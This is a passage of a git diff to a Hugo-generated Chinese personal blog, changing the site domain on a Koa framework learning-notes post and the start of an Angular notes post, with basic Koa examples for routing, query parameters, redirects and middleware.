target=_blank>Suggest Changes</a></div></header><div class=post-content><p>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架</p><p>个人推荐：个人开发推荐用koa，团队开发推荐用egg</p><p>egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发</p><p>安装koa</p><p>npm install koa</p><p>新建一个app.js</p><pre><code>const Koa = require(&quot;koa&quot;)
-const app = new Koa()
-app.use(async (ctx, next) =&gt; {
-    await next()
-    ctx.response.type = 'text/html'
-    ctx.response.body = '&lt;h1&gt;hallo, koa!&lt;/h1&gt;'
-})
-app.listen(3000)
-</code></pre><p>node app.js</p><p>get请求参数的接收</p><pre><code>const Koa = require('koa')
-const app = new Koa()
-app.use(async(ctx)=&gt;{
-    const url =ctx.url
-    const request =ctx.request
-    const reqQuery = request.query
-    const reqQuerystring = request.querystring
-    ctx.body={
-        url,
-        reqQuery,
-        reqQuerystring
-    }
-})
-app.listen(3000,()=&gt;{
-    console.log('port 3000')
-})
-</code></pre><p>http://127.0.0.1:3000/admin?name=admin&amp;pass=123</p><p>通过ctx.request来获取得到get请求参数（query）</p><p>还可以通过ctx上下文获取</p><pre><code>app.use(async(ctx)=&gt;{
-    const url =ctx.url
-    const ctxQuery = ctx.query
-    const ctxQuerystring = ctx.querystring
-    ctx.body={
-        url,
-        ctxQuery,
-        ctxQuerystring
-    }
-})
-</code></pre><p>Post请求接收</p><p>Koa默认返回类型是text/plain，判断返回类型ctx.request.accepts()</p><p>一般来说，返回给用户的页面都是写成文件的，因此可以通过nodejs的fs来读取本地的文件</p><pre><code>const fs = require(&quot;fs&quot;)
-app.use(async (ctx, next) =&gt; {
-    await next()
-    ctx.response.type = 'text/html'
-    ctx.response.body = 'fs.createReadStream('./test.html')'
-})
+const Koa = require('koa') const app = new Koa() app.use(async(ctx)=>{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=>{ console.log('port 3000') }) http://127."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Koa框架学习笔记","item":"https://chenjunlinabc.github.io/posts/100/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Koa框架学习笔记","name":"Koa框架学习笔记","description":"koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架\n个人推荐：个人开发推荐用koa，团队开发推荐用egg\negg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发\n安装koa\nnpm install koa\n新建一个app.js\nconst Koa = require(\u0026quot;koa\u0026quot;) const app = new Koa() app.use(async (ctx, next) =\u0026gt; { await next() ctx.response.type = 'text/html' ctx.response.body = '\u0026lt;h1\u0026gt;hallo, koa!\u0026lt;/h1\u0026gt;' }) app.listen(3000) node app.js\nget请求参数的接收\nconst Koa = require('koa') const app = new Koa() app.use(async(ctx)=\u0026gt;{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=\u0026gt;{ console.log('port 3000') }) http://127.","keywords":["koa"],"articleBody":"koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架\n个人推荐：个人开发推荐用koa，团队开发推荐用egg\negg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发\n安装koa\nnpm install koa\n新建一个app.js\nconst Koa = require(\"koa\") const app = new Koa() app.use(async (ctx, next) =\u003e { await next() ctx.response.type = 'text/html' ctx.response.body = 'hallo, koa!' }) app.listen(3000) node app.js\nget请求参数的接收\nconst Koa = require('koa') const app = new Koa() app.use(async(ctx)=\u003e{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=\u003e{ console.log('port 3000') }) http://127.0.0.1:3000/admin?name=admin\u0026pass=123\n通过ctx.request来获取得到get请求参数（query）\n还可以通过ctx上下文获取\napp.use(async(ctx)=\u003e{ const url =ctx.url const ctxQuery = ctx.query const ctxQuerystring = ctx.querystring ctx.body={ url, ctxQuery, ctxQuerystring } }) Post请求接收\nKoa默认返回类型是text/plain，判断返回类型ctx.request.accepts()\n一般来说，返回给用户的页面都是写成文件的，因此可以通过nodejs的fs来读取本地的文件\nconst fs = require(\"fs\") app.use(async (ctx, next) =\u003e { await next() ctx.response.type = 'text/html' ctx.response.body = 'fs.createReadStream('./test.html')' }) 路由\n判断当前路由地址\nctx.request.path\n路由模块\nconst route = require(‘koa-route’)\napp.ues(route.get(\"/\", main))\n静态资源管理\nconst path = require(‘path’) const serve = require(‘koa-static’) const main = serve(path.join(__dirname)) app.use(main)\n重定向\nctx.response.redirect()可以实现302重定向，例如：\nconst redirect = ctx =\u003e { ctx.response.redirect('/') ctx.response.body = 'index' } app.use(route.get('/auth, redirect)); 中间件\n中间件实质上就是在请求和响应之间，实现某个中间功能，而app.use()就是用来加载中间件的\n这个中间件默认支持两个参数（ctx和next）\n多个中间件，按照先进后出，next可以传递，await next就是异步中间件\n合成中间件\nconst compose = require(‘koa-compose’) const c = compose([a, b]) app.use(c)\n抛出错误\nconst main = ctx =\u003e{ ctx.response.status = 404 ctx.response.body = '404找不到资源'; } 注意：发生错误，koa会触发一个error事件，因此也可以监听这个事件，来抛出错误\n读写cookies\nctx.cookies.get()\n","wordCount":"186","inLanguage":"en","datePublished":"2021-09-12T18:30:00Z","dateModified":"2021-09-12T18:30:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/100/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Koa框架学习笔记</h1><div class=post-meta><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Koa%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架</p><p>个人推荐：个人开发推荐用koa，团队开发推荐用egg</p><p>egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发</p><p>安装koa</p><p>npm install koa</p><p>新建一个app.js</p><pre><code>const Koa = require(&quot;koa&quot;)
+const app = new Koa()
+app.use(async (ctx, next) =&gt; {
+    await next()
+    ctx.response.type = 'text/html'
+    ctx.response.body = '&lt;h1&gt;hallo, koa!&lt;/h1&gt;'
+})
+app.listen(3000)
+</code></pre><p>node app.js</p><p>get请求参数的接收</p><pre><code>const Koa = require('koa')
+const app = new Koa()
+app.use(async(ctx)=&gt;{
+    const url =ctx.url
+    const request =ctx.request
+    const reqQuery = request.query
+    const reqQuerystring = request.querystring
+    ctx.body={
+        url,
+        reqQuery,
+        reqQuerystring
+    }
+})
+app.listen(3000,()=&gt;{
+    console.log('port 3000')
+})
+</code></pre><p>http://127.0.0.1:3000/admin?name=admin&amp;pass=123</p><p>通过ctx.request来获取得到get请求参数（query）</p><p>还可以通过ctx上下文获取</p><pre><code>app.use(async(ctx)=&gt;{
+    const url =ctx.url
+    const ctxQuery = ctx.query
+    const ctxQuerystring = ctx.querystring
+    ctx.body={
+        url,
+        ctxQuery,
+        ctxQuerystring
+    }
+})
+</code></pre><p>Post请求接收</p><p>Koa默认返回类型是text/plain，判断返回类型ctx.request.accepts()</p><p>一般来说，返回给用户的页面都是写成文件的，因此可以通过nodejs的fs来读取本地的文件</p><pre><code>const fs = require(&quot;fs&quot;)
+app.use(async (ctx, next) =&gt; {
+    await next()
+    ctx.response.type = 'text/html'
+    ctx.response.body = 'fs.createReadStream('./test.html')'
+})
 </code></pre><p>路由</p><p>判断当前路由地址</p><p>ctx.request.path</p><p>路由模块</p><p>const route = require(&lsquo;koa-route&rsquo;)</p><p>app.ues(route.get("/", main))</p><p>静态资源管理</p><p>const path = require(&lsquo;path&rsquo;)
 const serve = require(&lsquo;koa-static&rsquo;)
 const main = serve(path.join(__dirname))
-app.use(main)</p><p>重定向</p><p>ctx.response.redirect()可以实现302重定向，例如：</p><pre><code>const redirect = ctx =&gt; {
-    ctx.response.redirect('/')
-    ctx.response.body = '&lt;a href=&quot;/&quot;&gt;index&lt;/a&gt;'
-}
-app.use(route.get('/auth, redirect));
+app.use(main)</p><p>重定向</p><p>ctx.response.redirect()可以实现302重定向，例如：</p><pre><code>const redirect = ctx =&gt; {
+    ctx.response.redirect('/')
+    ctx.response.body = '&lt;a href=&quot;/&quot;&gt;index&lt;/a&gt;'
+}
+app.use(route.get('/auth, redirect));
 </code></pre><p>中间件</p><p>中间件实质上就是在请求和响应之间，实现某个中间功能，而app.use()就是用来加载中间件的</p><p>这个中间件默认支持两个参数（ctx和next）</p><p>多个中间件，按照先进后出，next可以传递，await next就是异步中间件</p><p>合成中间件</p><p>const compose = require(&lsquo;koa-compose&rsquo;)
 const c = compose([a, b])
-app.use(c)</p><p>抛出错误</p><pre><code>const main = ctx =&gt;{
-    ctx.response.status = 404
-    ctx.response.body = '404找不到资源';
-}
-</code></pre><p>注意：发生错误，koa会触发一个error事件，因此也可以监听这个事件，来抛出错误</p><p>读写cookies</p><p>ctx.cookies.get()</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/koa/>koa</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/101/><span class=title>« Prev</span><br><span>Angular学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/99/><span class=title>Next »</span><br><span>简单了解CSRF攻击和XSS攻击</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+app.use(c)</p><p>抛出错误</p><pre><code>const main = ctx =&gt;{
+    ctx.response.status = 404
+    ctx.response.body = '404找不到资源';
+}
+</code></pre><p>注意：发生错误，koa会触发一个error事件，因此也可以监听这个事件，来抛出错误</p><p>读写cookies</p><p>ctx.cookies.get()</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/koa/>koa</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/101/><span class=title>« Prev</span><br><span>Angular学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/99/><span class=title>Next »</span><br><span>简单了解CSRF攻击和XSS攻击</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/101/index.html b/posts/101/index.html
index 4b3efc54..9407e09b 100644
--- a/posts/101/index.html
+++ b/posts/101/index.html
@@ -4,26 +4,26 @@
 安装
 npm install -g angular-cli
 第一个Angular应用
-<div ng-app ng-init=&#34;name='default'&#34;>
<p>name: <input type=&#34;text&#34; ng-model=&#34;name&#34;></p>
<h1>hallo，{{name}}</h1>
<p ng-bind=&#34;name&#34;></p>
</div>
ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/101/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Angular学习笔记"><meta property="og:description" content="Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
+<div ng-app ng-init=&#34;name='default'&#34;> <p>name: <input type=&#34;text&#34; ng-model=&#34;name&#34;></p> <h1>hallo，{{name}}</h1> <p ng-bind=&#34;name&#34;></p> </div> ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/101/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Angular学习笔记"><meta property="og:description" content="Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
 Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格
 注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成
 安装
 npm install -g angular-cli
 第一个Angular应用
-<div ng-app ng-init=&#34;name='default'&#34;>
<p>name: <input type=&#34;text&#34; ng-model=&#34;name&#34;></p>
<h1>hallo，{{name}}</h1>
<p ng-bind=&#34;name&#34;></p>
</div>
ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/101/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-13T12:00:00+00:00"><meta property="article:modified_time" content="2021-09-13T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Angular学习笔记"><meta name=twitter:description content="Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
+<div ng-app ng-init=&#34;name='default'&#34;> <p>name: <input type=&#34;text&#34; ng-model=&#34;name&#34;></p> <h1>hallo，{{name}}</h1> <p ng-bind=&#34;name&#34;></p> </div> ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/101/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-13T12:00:00+00:00"><meta property="article:modified_time" content="2021-09-13T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Angular学习笔记"><meta name=twitter:description content="Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
 Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格
 注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成
 安装
 npm install -g angular-cli
 第一个Angular应用
-<div ng-app ng-init=&#34;name='default'&#34;>
<p>name: <input type=&#34;text&#34; ng-model=&#34;name&#34;></p>
<h1>hallo，{{name}}</h1>
<p ng-bind=&#34;name&#34;></p>
</div>
ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Angular学习笔记","item":"https://xiaochenabc123.github.io/posts/101/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Angular学习笔记","name":"Angular学习笔记","description":"Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）\nAngular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格\n注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成\n安装\nnpm install -g angular-cli\n第一个Angular应用\n\u0026lt;div ng-app ng-init=\u0026quot;name='default'\u0026quot;\u0026gt;\r\u0026lt;p\u0026gt;name: \u0026lt;input type=\u0026quot;text\u0026quot; ng-model=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt;\r\u0026lt;h1\u0026gt;hallo，{{name}}\u0026lt;/h1\u0026gt;\r\u0026lt;p ng-bind=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\rng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值","keywords":["Angular"],"articleBody":"Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）\nAngular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格\n注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成\n安装\nnpm install -g angular-cli\n第一个Angular应用\nname: hallo，{{name}}\rng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值\n","wordCount":"21","inLanguage":"en","datePublished":"2021-09-13T12:00:00Z","dateModified":"2021-09-13T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/101/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Angular学习笔记</h1><div class=post-meta><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Angular%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div 